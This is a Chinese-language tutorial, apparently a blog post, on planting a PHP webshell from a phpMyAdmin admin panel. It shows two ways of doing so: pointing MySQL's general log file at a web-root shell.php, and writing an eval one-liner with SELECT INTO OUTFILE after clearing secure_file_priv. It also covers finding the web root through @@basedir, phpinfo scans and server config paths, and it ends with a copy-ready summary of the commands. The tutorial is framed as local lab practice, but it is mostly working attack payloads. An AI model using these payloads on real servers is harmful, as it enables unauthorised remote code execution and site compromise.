前言:
phpmyadmin後臺拿webshell的方法主要分爲兩個方法:
(1) 、通過日誌文件拿webshell;
(2) 、利用日誌文件寫入一句話;(這個方法可能在實際操作中會遇到困難);
本地搭建環境:
Phpmystudy 2018
PHP--5.5.38
一、日誌文件寫入一句話來獲取webshell:
(1) 、首先我們先利用日誌文件寫入一句話來獲取webshell,日誌文件寫入的思路利用mysql的一個日誌文件。我們執行的每一個sql語句都會被保存到日誌中,換個思路想一下把這個日誌文件重名爲*.php,然後我們在執行一次sql語句,那麼就會被保存在這個*.php文件中,這樣我們就能順利拿到webshell。
(2) 、假如通過某個方法獲取到phpmyadmin的登陸後臺且賬號密碼是弱口令:
(3)、點擊變量選項,搜索gen就會出來general.log和general log file這兩個變量,general.log變量是指是否啓動記錄日誌;而general log file指的是日誌文件的路徑,可以看到general.log變量的狀態爲OFF,故我們要修改爲ON;general log file變量中的*.log的後綴我們改爲*php。拿完webshell記得要改回去喲。
SQL語句進行修改:
SET global general_log = "ON"; 日誌保存狀態開啓;
SET global general_log_file='E:/phpStudy/PHPTutorial/WWW/shell.php'; 修改日誌的保存位置。
(具體路徑還需在實際環境中改變);
修改後的配置
(4)保存後,我們在SQL查詢的框中寫入
select "<?php eval($_POST['cmd']);?>";
或着
SELECT '<?phpassert($_POST["cmd"]);?>';
執行完畢後就會出現這個界面,這樣的話我們就成功的把一句話寫入到日誌文件中:
(5)、查看網站目錄下生成了一個shell.php的文件,一句話木馬已經被我們寫入,看到這裏大家可能會問爲什麼裏面不是純淨的一句話木馬?我也百思不得其解,百度了一下發現是我們是上傳的php一句話木馬,在連接過程中,它是從頭開始讀取的,因爲前面的不具備php文件的特徵:
(6)、瀏覽器測試
用菜刀直接連接木馬地址,webshell成功拿到:
http://127.0.0.1/shell.php
webshell已經拿到
二、利用插入一句話來提取webshell:
1、在知道路徑的前提下插入一句話,
我們在插入一句話木馬的時候首先要檢測插入的條件是否被允許,輸入查詢語句
show global variables like '%secure%';
顯示是NULL值,這樣的情況下我們插入一句話是無法插入的,需要我們修改secure_file_priv=’’爲空值才能插入一句話:
解釋一下:
- secure_file_priv爲null 表示不允許導入導出;
- secure_file_priv指定文件夾時,表示mysql的導入導出只能在指定的文件夾;
- secure_file_priv沒有設置時,則表示沒有任何限制;
當secure_file_priv爲null 時,執行插入語句,發現無法插入一句話木馬:
select '<?php @eval($_POST[cmd]);?>'INTO OUTFILE 'E:/phpStudy/PHPTutorial/WWW/shell.php';
意思是Mysql服務器運行“--secure-file-priv”選項,所以不能執行這個語句。
如果要解決這個問題,我們可以通過下面2種方式:將你要導入或導出的文件位置指定到你設置的路徑裏;由於不能在網頁上修改,所以我們只能修改my.cnf裏關於這個選項的配置,然後重啓即可。(windwos下my.cnf叫my.ini)我的在E:\phpStudy\PHPTutorial\MySQL路徑下
把--secure-file-priv修改爲'' 沒有這個則添加。
(1)、當我們把上面的障礙掃平之後,接下來就比較簡單,我們可以這樣寫:
select '<?php @eval($_POST[cmd]);?>'INTO OUTFILE 'E:/phpStudy/PHPTutorial/WWW/shell.php';
意思就是在目錄下會生成一個shell.php的文件,我們用菜刀直接連接這個文件地址就可以直接拿到webshell:
(2)、我們用菜刀直接連接http://127.0.0.1/shell.php就可以成功拿到服務器webshell:
2、在不知道絕對路徑的前提下拿webshell:
這個方法幾乎和我們做灰盒測試差不多,只拿到了登陸後臺,但是不知道網站的絕對路徑,這就非常尷尬,下面我總結了一下幾點可以成功爆出網站的根路徑:
(1)、SQL查詢框中輸入select @@basedir;就可以成功的輸出絕對路徑,這是利用了mysql的特性;(這個比較常用,畢竟是mysql的特性)
select @@basedir;
(2)、直接在url後面輸入phpinfo.php,看看能不能讀出這個文件,如果存在就會把網站的絕對路徑顯示出來,這樣的情況特少,因爲網站管理人員不可能把這個測試頁面在互聯網上面直接顯示出來,他們或許會更改路徑或許會設置目錄訪問權限;
(3)、使用掃描工具對網站進行掃掃描;掃描一些phpinfo.php info.php php.php test.php等等;
(4)、phpmyadmin讀取 iis6,iis7配置文件 讀取apache Nginx 配置文件!
- windows2003 iis6配置文件所在位置 C:\Windows/system32\inetsrv\metabase.xml
- win2008/2012 iis7.5 在這個文件 C:\Windows\System32\inetsrv\config\applicationHost.config
- Nginx配置 /etc/nginx/conf.d/vhost.conf /etc/nginx/nginx.conf
- apache配置 /etc/httpd/conf/httpd.conf /usr/local/apache2/conf/httpd.conf
總結
1、利用日誌寫shell
SET global general_log = "ON"; 日誌保存狀態開啓;
SET global general_log_file='E:/phpStudy/PHPTutorial/WWW/shell.php'; 修改日誌保存的位置
SELECT "<?php eval($_POST['cmd']);?>";
2、利用 select XXX into outfile 絕對路徑寫shell(需要secure_file_priv='')
select '<?php @eval($_POST[cmd]);?>'INTO OUTFILE 'E:/phpStudy/PHPTutorial/WWW/shell.php';
3、查找絕對路徑
select @@basedir;